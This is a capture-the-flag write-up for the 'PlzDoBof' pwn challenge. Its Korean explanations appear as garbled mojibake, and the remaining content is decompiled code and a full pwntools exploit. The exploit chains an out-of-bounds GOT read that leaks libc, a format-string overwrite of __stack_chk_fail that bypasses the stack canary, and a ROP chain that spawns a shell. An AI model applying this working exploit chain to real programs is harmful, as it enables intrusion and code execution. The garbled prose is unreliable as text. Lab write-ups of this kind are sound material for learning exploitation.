[Writeup][HCTF 2026] PlzDoBof
checksec์ผ๋ก ๋ฐ์ด๋๋ฆฌ์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ์ ๊ด์ฐฐํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์ด๋ก๋ถํฐ ๋ค์๊ณผ ๊ฐ์ ์ฌ์ค์ ์ ์ ์๋ค.
- Partial RELRO๊ฐ ์ ์ฉ๋์ด ์๊ธฐ ๋๋ฌธ์ GOT o.w๊ฐ ๊ฐ๋ฅํ๋ค.
- Canary๊ฐ ์๊ธฐ ๋๋ฌธ์, sbof๋ฅผ ํตํด ์ต์คํ๋ ค๋ฉด ์นด๋๋ฆฌ ์ ์ถ์ด ํ์ํ๋ค.
- PIE๊ฐ ๊ฑธ๋ ค ์์ง ์์ ๋ฐ์ด๋๋ฆฌ์ ์๋ ๊ฐ์ ฏ์ด๋ ํจ์์ ์ฌ์ฉ์ด ์ฉ์ดํ๋ค.
1. ์ทจ์ฝ์ ๋ถ์
IDA๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋๋๊ณ sbof์ fsb๋ฅผ ์ค ๊ฒ์ ์ ์ ์๋ค.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[32]; // [rsp+10h] [rbp-230h] BYREF
char s[520]; // [rsp+30h] [rbp-210h] BYREF
...
puts("How was it? Thank you for using the system!");
puts("Please, leave a review!");
printf("Review: ");
gets(s);
printf("Name : ");
gets(format);
printf("Thank you for your review, ");
printf(format);
return 0;
}
๋๊ตฐ๋ค๋ fsb๋ฅผ ์ํ format์ด s๋ณด๋ค ์์ ์๊ธฐ ๋๋ฌธ์, fsb๋ fsb๋๋ก ์ฌ์ฉํ๋ฉด์ s๋ฅผ ํตํด sbof๊ฐ ๊ฐ๋ฅํ๋ค. (๋ง์ฝ ๋์ ์์น๊ฐ ๋ฐ๋์๋ค๋ฉด ์กฐ๊ธ ๊ณจ์น์ํ์ง ๊ฒ์ด๋ค.)
๋ฐ์ด๋๋ฆฌ๋ฅผ ์กฐ๊ธ ๋ ์ดํด๋ณด๋ค ๋ณด๋ฉด, ๋ค์๊ณผ ๊ฐ์ด show_single_user() ํจ์์์๋ oob๋ฅผ ๋ฐ๊ฒฌํ ์ ์๋ค.
unsigned __int64 show_single_user()
{
int v1; // [rsp+Ch] [rbp-14h]
char s[8]; // [rsp+10h] [rbp-10h] BYREF
printf("Enter user index (0-29): ");
fgets(s, 8, stdin);
v1 = atoi(s);
if ( v1 <= 29 )
{
if ( user_list[v1].name[0] )
show_user(&user_list[v1]);
else
puts("User does not exist!");
}
else
{
puts("Don't Do OOB!");
}
}
๋ค์๊ณผ ๊ฐ์ด ์ธ๋ฑ์ค๋ก ์ฐ์ด๋ v1์ ์ํ๋ง ๊ฒ์ฌํ๋๋ฐ, v1์ intํ์ด๋ผ ์์ ๊ฐ์ ๊ฐ์ง ์ ์๋ค. ๊ทธ๋ฌ๋ ์์ ๊ฐ์ ๋ํ ๊ฒ์ฆ์ด ๋๋ฝ๋๊ธฐ ๋๋ฌธ์
์ ์ญ ๋ฐฐ์ด์ธ user_list ๋ค์ชฝ์ ๊ฐ์ ๋ํด user_list[v1].name[0]์ด 0๋ง ์๋๋ผ๋ฉด ์ฃผ๋ณ ๊ฐ๋ค์ ์ฝ์ด๋ผ ์ ์๋ค. ๋ฐ๋ผ์ user_list ๋ค์ชฝ์ผ๋ก ๋ฌด์จ ๊ฐ์ด ์๋์ง
๋์ ๋ถ์์ ํตํด ์์๋ด์ผ ํ๋ค.
GDB๋ฅผ ์ฌ์ฉํด user_list ๋ค์ชฝ์ ๊ฐ์ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๋๋๊ฒ๋ got์์ญ์ด๋ค! ์ด๋ฅผ ์ ์ฌ์ฉํ๋ฉด libc leak์ ๊ต์ฅํ ์ฝ๊ฒ ํ ์ ์๋ค.
2. ์ต์คํ๋ก์
2-1. libc leak
์์์ ๋งํ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ฉด ๊ต์ฅํ ์ฝ๊ฒ libc leak์ด ๊ฐ๋ฅํ๋ค. ๋ -3์ผ ๋ ๋์ค๋ fgets()์ got์ ์ฌ์ฉํ๋ค.
def show_user(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b": ", str(idx).encode())
p.recvuntil(b"Name: ")
try:
name = p.recvline().strip().decode()
except:
name = None
p.recvuntil(b"Age: ")
try:
age = p.recvline().strip().decode()
except:
age = None
p.recvuntil(b"Introduction: ")
try:
introduction = p.recvline().strip().decode()
except:
introduction = None
print(name, age, introduction)
return name, age, introduction
_, fgets_got, _ = show_user(-3)
fgets_got = int(fgets_got)
libc.address = fgets_got - 0x7f380
์ด์ libc์ ๊ฐ์ ฏ๋ค๋ ์ฌ์ฉํ ์ ์๊ฒ ๋์๋ค.
2-2. rop (w/ canary bypass)
์ด์ rop๋ฅผ ํตํด ์์ ์ด์ด์ผ ํ๋๋ฐ, ๋ฌธ์ ๋ fsb๊ฐ ํ ๋ฒ๋ง ๊ฐ๋ฅํ๊ณ sbof์ fsb๊ฐ ๋ถ์ด์๋ค๋ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ fsb๋ก ์นด๋๋ฆฌ๋ฅผ ์ ์ถํ ํ sbof๋ก rop chain์ ๋ง๋๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๊ณ , ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์๊ฐํด์ผ ํ๋ค.
์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด ์ฒซ ๋ฒ์งธ๋ก ์๊ฐํ ๋ฐฉ๋ฒ์ด ์๋ณธ ์นด๋๋ฆฌ๊ฐ ์์ฒด๋ฅผ ๋ฐ๊ฟ๋ฒ๋ฆฌ๋ ๊ฒ์ด๋ค. (์ต๊ทผ์ ์นด๋๋ฆฌ ๊ด๋ จ ํ๋ก์ ํธ๋ฅผ ํ๋๋ฐ, ์ด๊ฒ ์นด๋๋ฆฌ ๊ฐ ์์ฒด๋ฅผ ๋ณ์กฐํ๋๊ฑฐ๋ ๊ด๋ จ์ด ์์ด์ ์ด ์๊ฐ์ด ๊ฐ์ฅ ๋จผ์ ๋ฌ๋ ๊ฒ ๊ฐ๋ค.) ์ค์ ๋ก libc base์ TLS๊น์ง์ ์คํ์ ์ ํญ์ ์ผ์ ํ๊ธฐ ๋๋ฌธ์, libc base๋ง ์๋ค๋ฉด TLS์ ์ฃผ์๋ฅผ ์ ์ ์๊ณ , ๋ค์๊ณผ ๊ฐ์ด ์นด๋๋ฆฌ ๊ฐ ์์ฒด๋ฅผ ๋ณ๊ฒฝํด๋ฒ๋ฆด ์ ์๋ค.
payload = fmtstr_payload(8,{libc.address + [canary_offset]: 0xdeadbeefcafebabe})
ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe) # canary
...
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
p.sendlineafter(b": ", payload)
๊ทธ๋ฌ๋ fsb์์ ์ํ๋ ์ฃผ์์ ๊ฐ์ด ์ฐ์ด๋ ๊ฑด printf() ํจ์๊ฐ ๋ฆฌํด๋๊ธฐ ์ ์ ์๋ฃ๋๊ธฐ ๋๋ฌธ์, ์ด๋ ๊ฒ ํ๋ฉด printf()๊ฐ ๋ฆฌํดํ๋ฉฐ ํ๋ ์นด๋๋ฆฌ ๊ฒ์ฌ์์
ํฐ์ ธ๋ฒ๋ฆฌ๊ฒ ๋๋ค. ์ฌ๊ธฐ์ ๊ณ ๋ฏผํ๋ค๊ฐ, got์์ ๋ค์๊ณผ ๊ฐ์ ํจ์๋ฅผ ๋ดค๋ค.
์๊ฐํด ๋ณด๋ฉด __stack_chk_fail()๋ ๊ฒฝ๊ตญ libc์ ์กด์ฌํ๋ ํจ์์ด๊ณ , ๋ฐ๋ผ์ got๊ฐ ์กด์ฌํ ์๋ฐ์ ์๋ค. ๊ทธ๋ ๋ค๋ฉด __stack_chk_fail()์ got๋ฅผ
leave; ret์ผ๋ก ๋ฎ๋๋ค๋ฉด, ํ๋ก๊ทธ๋จ์ด ์ข
๋ฃ๋์ง ์๊ณ ๊ณ์ ์คํ๋๊ฒ ํ ์ ์๋ค.1 ์ด์ฐจํผ ๋ฐ์ด๋๋ฆฌ์ PIE๊ฐ ์ ์ฉ๋์ด ์์ง ์๊ธฐ ๋๋ฌธ์, main()์
leave; ret์ ๊ทธ๋๋ก ์ฌ์ฉํด์คฌ๋ค.
payload = fmtstr_payload(8,{e.got["__stack_chk_fail"]: 0x401A03})
ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe) # ์ด์ ์๋ฌด๋ฐ ๊ฐ์ด๋ ์๊ด์๋ค!
ropchain += p64(pop_rdi_ret)
ropchain += p64(binsh)
ropchain += p64(0x0000000000029139 + libc.address) # ret
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
p.sendlineafter(b": ", payload)
p.interactive()
์ ์ฒด ์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
ํผ์น๊ธฐ/์ ๊ธฐ
from pwn import *
# context.log_level = "debug"
# context.bits = 64
context.arch = "amd64"
# context.binary = "./chal"
context.terminal=['tmux', 'splitw', '-h']
e = ELF("./chal")
p = e.process()
# p = remote("** REDICATED **", 33333)
libc = ELF("./libc.so.6")
def show_user(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b": ", str(idx).encode())
p.recvuntil(b"Name: ")
try:
name = p.recvline().strip().decode()
except:
name = None
p.recvuntil(b"Age: ")
try:
age = p.recvline().strip().decode()
except:
age = None
p.recvuntil(b"Introduction: ")
try:
introduction = p.recvline().strip().decode()
except:
introduction = None
print(name, age, introduction)
return name, age, introduction
_, fgets_got, _ = show_user(-3)
fgets_got = int(fgets_got)
libc.address = fgets_got - 0x7f380
canary_addr = libc.address - 0x2898
info(f"printf_got: {hex(fgets_got)}")
info(f"libc base: {hex(libc.address)}")
info(f"canary at: {hex(canary_addr)}")
binsh = libc.address + 0x1d8678
pop_rdi_ret = libc.address + 0x000000000002a3e5
payload = fmtstr_payload(8,{e.got["__stack_chk_fail"]: 0x401A03})
ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe)
ropchain += p64(pop_rdi_ret)
ropchain += p64(binsh)
ropchain += p64(0x0000000000029139 + libc.address)
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
# gdb.attach(p)
p.sendlineafter(b": ", payload)
p.interactive()์คํํ๋ฉด ์์ ์ป์ ์ ์๋ค.
-
๋ฌผ๋ก
call์ธ์คํธ๋ญ์ ์ ์ํฅ์ผ๋ก retaddr์ด stack์ push๋๊ธด ํ์ง๋ง, stack frame ํ์ฑ ์ ์leave; ret๊ฐ ํธ์ถ๋๋ฏ๋ก ์๋ฌด ์๊ด ์๋ค.leave๊ฐmov rsp, rbp; pop rbp๋ผ๋ ์ ์ ๊ธฐ์ตํ์.ย ↩
Leave a comment